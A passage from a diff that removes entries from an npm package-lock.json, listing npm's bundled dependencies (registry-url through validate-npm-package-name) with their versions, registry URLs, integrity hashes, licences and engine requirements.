"rc": "^1.1.6", - "safe-buffer": "^5.0.1" - } - }, - "node_modules/npm/node_modules/registry-url": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/registry-url/-/registry-url-3.1.0.tgz", - "integrity": "sha1-PU74cPc93h138M+aOBQyRE4XSUI=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "rc": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/request": { - "version": "2.81.0", - "resolved": "https://registry.npmjs.org/request/-/request-2.81.0.tgz", - "integrity": "sha1-xpKJRqDgbF+Nb4qTM0af/aRimKA=", - "dev": true, - "inBundle": true, - "license": "Apache-2.0", - "dependencies": { - "aws-sign2": "~0.6.0", - "aws4": "^1.2.1", - "caseless": "~0.12.0", - "combined-stream": "~1.0.5", - "extend": "~3.0.0", - "forever-agent": "~0.6.1", - "form-data": "~2.1.1", - "har-validator": "~4.2.1", - "hawk": "~3.1.3", - "http-signature": "~1.1.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.7", - "oauth-sign": "~0.8.1", - "performance-now": "^0.2.0", - "qs": "~6.4.0", - "safe-buffer": "^5.0.1", - "stringstream": "~0.0.4", - "tough-cookie": "~2.3.0", - "tunnel-agent": "^0.6.0", - "uuid": "^3.0.0" - }, - "engines": { - "node": ">= 4" - } - }, - "node_modules/npm/node_modules/require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/require-main-filename": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", - "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/resolve-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", - "integrity": "sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/npm/node_modules/rimraf": { - "version": "2.6.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", - "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "glob": "^7.0.5" - }, - "bin": { - "rimraf": "bin.js" - } - }, - "node_modules/npm/node_modules/run-queue": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/run-queue/-/run-queue-1.0.3.tgz", - "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "aproba": "^1.1.1" - } - }, - "node_modules/npm/node_modules/safe-buffer": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", - "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/semver": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.0.tgz", - "integrity": "sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==", - "dev": true, - "inBundle": true, - "license": "ISC", - "bin": { - "semver": "bin/semver" - } - }, - "node_modules/npm/node_modules/semver-diff": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/semver-diff/-/semver-diff-2.1.0.tgz", - "integrity": "sha1-S7uEN8jTfksM8aaP1ybsbWRdbTY=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "semver": "^5.0.3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/sha": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/sha/-/sha-2.0.1.tgz", - "integrity": "sha1-YDCCL70smCOUn49y7WQR7lzyWq4=", - "dev": true, - "inBundle": true, - "license": "(BSD-2-Clause OR MIT)", - "dependencies": { - "graceful-fs": "^4.1.2", - "readable-stream": "^2.0.2" - } - }, - "node_modules/npm/node_modules/shebang-command": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", - "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "shebang-regex": "^1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/shebang-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", - "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/signal-exit": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", - "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/slash": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-1.0.0.tgz", - "integrity": "sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/slide": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/slide/-/slide-1.1.6.tgz", - "integrity": "sha1-VusCfWW00tzmyy4tMsTUr8nh1wc=", - "dev": true, - "inBundle": true, - "license": "ISC", - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/smart-buffer": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.0.1.tgz", - "integrity": "sha512-RFqinRVJVcCAL9Uh1oVqE6FZkqsyLiVOYEZ20TqIOjuX7iFVJ+zsbs4RIghnw/pTs7mZvt8ZHhvm1ZUrR4fykg==", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">= 4.0.0", - "npm": ">= 3.0.0" - } - }, - "node_modules/npm/node_modules/sntp": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/sntp/-/sntp-1.0.9.tgz", - "integrity": "sha1-ZUEYTMkK7qbG57NeJlkIJEPGYZg=", - "dev": true, - "inBundle": true, - "dependencies": { - "hoek": "2.x.x" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/npm/node_modules/socks": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/socks/-/socks-2.2.0.tgz", - "integrity": "sha512-uRKV9uXQ9ytMbGm2+DilS1jB7N3AC0mmusmW5TVWjNuBZjxS8+lX38fasKVY9I4opv/bY/iqTbcpFFaTwpfwRg==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "ip": "^1.1.5", - "smart-buffer": "^4.0.1" - }, - "engines": { - "node": ">= 6.0.0", - "npm": ">= 3.0.0" - } - }, - "node_modules/npm/node_modules/socks-proxy-agent": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-4.0.1.tgz", - "integrity": "sha512-Kezx6/VBguXOsEe5oU3lXYyKMi4+gva72TwJ7pQY5JfqUx2nMk7NXA6z/mpNqIlfQjWYVfeuNvQjexiTaTn6Nw==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "agent-base": "~4.2.0", - "socks": "~2.2.0" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/npm/node_modules/sorted-object": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/sorted-object/-/sorted-object-2.0.1.tgz", - "integrity": "sha1-fWMfS9OnmKJK8d/8+/6DM3pd9fw=", - "dev": true, - "inBundle": true, - "license": "(WTFPL OR MIT)" - }, - "node_modules/npm/node_modules/sorted-union-stream": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/sorted-union-stream/-/sorted-union-stream-2.1.3.tgz", - "integrity": "sha1-x3lMfgd4gAUv9xqNSi27Sppjisc=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "from2": "^1.3.0", - "stream-iterate": "^1.1.0" - } - }, - "node_modules/npm/node_modules/sorted-union-stream/node_modules/from2": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/from2/-/from2-1.3.0.tgz", - "integrity": "sha1-iEE7qqX5pZfP3pIh2GmGzTwGHf0=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "inherits": "~2.0.1", - "readable-stream": "~1.1.10" - } - }, - "node_modules/npm/node_modules/sorted-union-stream/node_modules/isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/sorted-union-stream/node_modules/readable-stream": { - "version": "1.1.14", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", - "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - }, - "node_modules/npm/node_modules/sorted-union-stream/node_modules/string_decoder": { - "version": "0.10.31", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", - "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/spdx-correct": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz", - "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", - "dev": true, - "inBundle": true, - "license": "Apache-2.0", - "dependencies": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" - } - }, - "node_modules/npm/node_modules/spdx-exceptions": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.1.0.tgz", - "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==", - "dev": true, - "inBundle": true, - "license": "CC-BY-3.0" - }, - "node_modules/npm/node_modules/spdx-expression-parse": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", - "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" - } - }, - "node_modules/npm/node_modules/spdx-license-ids": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.0.tgz", - "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==", - "dev": true, - "inBundle": true, - "license": "CC0-1.0" - }, - "node_modules/npm/node_modules/sshpk": { - "version": "1.14.2", - "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.2.tgz", - "integrity": "sha1-xvxhZIo9nE52T9P8306hBeSSupg=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "asn1": "~0.2.3", - "assert-plus": "^1.0.0", - "dashdash": "^1.12.0", - "getpass": "^0.1.1", - "safer-buffer": "^2.0.2" - }, - "bin": { - "sshpk-conv": "bin/sshpk-conv", - "sshpk-sign": "bin/sshpk-sign", - "sshpk-verify": "bin/sshpk-verify" - }, - "engines": { - "node": ">=0.10.0" - }, - "optionalDependencies": { - "bcrypt-pbkdf": "^1.0.0", - "ecc-jsbn": "~0.1.1", - "jsbn": "~0.1.0", - "tweetnacl": "~0.14.0" - } - }, - "node_modules/npm/node_modules/sshpk/node_modules/assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.8" - } - }, - "node_modules/npm/node_modules/ssri": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.0.tgz", - "integrity": "sha512-zYOGfVHPhxyzwi8MdtdNyxv3IynWCIM4jYReR48lqu0VngxgH1c+C6CmipRdJ55eVByTJV/gboFEEI7TEQI8DA==", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/stream-each": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/stream-each/-/stream-each-1.2.2.tgz", - "integrity": "sha512-mc1dbFhGBxvTM3bIWmAAINbqiuAk9TATcfIQC8P+/+HJefgaiTlMn2dHvkX8qlI12KeYKSQ1Ua9RrIqrn1VPoA==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "end-of-stream": "^1.1.0", - "stream-shift": "^1.0.0" - } - }, - "node_modules/npm/node_modules/stream-iterate": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/stream-iterate/-/stream-iterate-1.2.0.tgz", - "integrity": "sha1-K9fHcpbBcCpGSIuK1B95hl7s1OE=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "readable-stream": "^2.1.5", - "stream-shift": "^1.0.0" - } - }, - "node_modules/npm/node_modules/stream-shift": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.0.tgz", - "integrity": "sha1-1cdSgl5TZ+eG944Y5EXqIjoVWVI=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/strict-uri-encode": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-2.0.0.tgz", - "integrity": "sha1-ucczDHBChi9rFC3CdLvMWGbONUY=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "safe-buffer": "~5.1.0" - } - }, - "node_modules/npm/node_modules/string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/string-width/node_modules/ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/string-width/node_modules/is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/string-width/node_modules/strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/stringstream": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/stringstream/-/stringstream-0.0.6.tgz", - "integrity": "sha512-87GEBAkegbBcweToUrdzf3eLhWNg06FJTebl4BVJz/JgWy8CvEr9dRtX5qWphiynMSQlxxi+QqN0z5T32SLlhA==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/strip-eof": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", - "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/strip-json-comments": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", - "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/tar": { - "version": "4.4.4", - "resolved": "https://registry.npmjs.org/tar/-/tar-4.4.4.tgz", - "integrity": "sha512-mq9ixIYfNF9SK0IS/h2HKMu8Q2iaCuhDDsZhdEag/FHv8fOaYld4vN7ouMgcSSt5WKZzPs8atclTcJm36OTh4w==", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "chownr": "^1.0.1", - "fs-minipass": "^1.2.5", - "minipass": "^2.3.3", - "minizlib": "^1.1.0", - "mkdirp": "^0.5.0", - "safe-buffer": "^5.1.2", - "yallist": "^3.0.2" - }, - "engines": { - "node": ">=4.5" - } - }, - "node_modules/npm/node_modules/tar/node_modules/yallist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.0.2.tgz", - "integrity": "sha1-hFK0u36Dx8GI2AQcGoN8dz1ti7k=", - "dev": true, - "inBundle": true, - "license": "ISC" - }, - "node_modules/npm/node_modules/term-size": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/term-size/-/term-size-1.2.0.tgz", - "integrity": "sha1-RYuDiH8oj8Vtb/+/rSYuJmOO+mk=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "execa": "^0.7.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/text-table": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", - "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/through": { - "version": "2.3.8", - "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", - "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/through2": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.3.tgz", - "integrity": "sha1-AARWmzfHx0ujnEPzzteNGtlBQL4=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "readable-stream": "^2.1.5", - "xtend": "~4.0.1" - } - }, - "node_modules/npm/node_modules/timed-out": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/timed-out/-/timed-out-4.0.1.tgz", - "integrity": "sha1-8y6srFoXW+ol1/q1Zas+2HQe9W8=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/tiny-relative-date": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/tiny-relative-date/-/tiny-relative-date-1.3.0.tgz", - "integrity": "sha512-MOQHpzllWxDCHHaDno30hhLfbouoYlOI8YlMNtvKe1zXbjEVhbcEovQxvZrPvtiYW630GQDoMMarCnjfyfHA+A==", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/tough-cookie": { - "version": "2.3.4", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.3.4.tgz", - "integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==", - "dev": true, - "inBundle": true, - "license": "BSD-3-Clause", - "dependencies": { - "punycode": "^1.4.1" - }, - "engines": { - "node": ">=0.8" - } - }, - "node_modules/npm/node_modules/tunnel-agent": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", - "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", - "dev": true, - "inBundle": true, - "license": "Apache-2.0", - "dependencies": { - "safe-buffer": "^5.0.1" - }, - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/tweetnacl": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", - "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", - "dev": true, - "inBundle": true, - "license": "Unlicense", - "optional": true - }, - "node_modules/npm/node_modules/typedarray": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", - "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/uid-number": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/uid-number/-/uid-number-0.0.6.tgz", - "integrity": "sha1-DqEOgDXo61uOREnwbaHHMGY7qoE=", - "dev": true, - "inBundle": true, - "license": "ISC", - "engines": { - "node": "*" - } - }, - "node_modules/npm/node_modules/umask": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/umask/-/umask-1.1.0.tgz", - "integrity": "sha1-8pzr8B31F5ErtY/5xOUP3o4zMg0=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/unique-filename": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.0.tgz", - "integrity": "sha1-0F8v5AMlYIcfMOk8vnNe6iAVFPM=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "unique-slug": "^2.0.0" - } - }, - "node_modules/npm/node_modules/unique-slug": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.0.tgz", - "integrity": "sha1-22Z258fMBimHj/GWCXx4hVrp9Ks=", - "dev": true, - "inBundle": true, - "license": "ISC", - "dependencies": { - "imurmurhash": "^0.1.4" - } - }, - "node_modules/npm/node_modules/unique-string": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-1.0.0.tgz", - "integrity": "sha1-nhBXzKhRq7kzmPizOuGHuZyuwRo=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "crypto-random-string": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/unpipe": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/npm/node_modules/unzip-response": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/unzip-response/-/unzip-response-2.0.1.tgz", - "integrity": "sha1-0vD3N9FrBhXnKmk17QQhRXLVb5c=", - "dev": true, - "inBundle": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/update-notifier": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-2.5.0.tgz", - "integrity": "sha512-gwMdhgJHGuj/+wHJJs9e6PcCszpxR1b236igrOkUofGhqJuG+amlIKwApH1IW1WWl7ovZxsX49lMBWLxSdm5Dw==", - "dev": true, - "inBundle": true, - "license": "BSD-2-Clause", - "dependencies": { - "boxen": "^1.2.1", - "chalk": "^2.0.1", - "configstore": "^3.0.0", - "import-lazy": "^2.1.0", - "is-ci": "^1.0.10", - "is-installed-globally": "^0.1.0", - "is-npm": "^1.0.0", - "latest-version": "^3.0.0", - "semver-diff": "^2.0.0", - "xdg-basedir": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/npm/node_modules/url-parse-lax": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-1.0.0.tgz", - "integrity": "sha1-evjzA2Rem9eaJy56FKxovAYJ2nM=", - "dev": true, - "inBundle": true, - "license": "MIT", - "dependencies": { - "prepend-http": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/npm/node_modules/util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/util-extend": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/util-extend/-/util-extend-1.0.3.tgz", - "integrity": "sha1-p8IW0mdUUWljeztu3GypEZ4v+T8=", - "dev": true, - "inBundle": true, - "license": "MIT" - }, - "node_modules/npm/node_modules/uuid": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", - "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==", - "dev": true, - "inBundle": true, - "license": "MIT", - "bin": { - "uuid": "bin/uuid" - } - }, - "node_modules/npm/node_modules/validate-npm-package-license": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.3.tgz", - "integrity": "sha512-63ZOUnL4SIXj4L0NixR3L1lcjO38crAbgrTpl28t8jjrfuiOBL5Iygm+60qPs/KsZGzPNg6Smnc/oY16QTjF0g==", - "dev": true, - "inBundle": true, - "license": "Apache-2.0", - "dependencies": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" - } - }, - "node_modules/npm/node_modules/validate-npm-package-name": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/validate-npm-package-name/-/validate-npm-package-name-3.0.0.tgz", - "integrity": 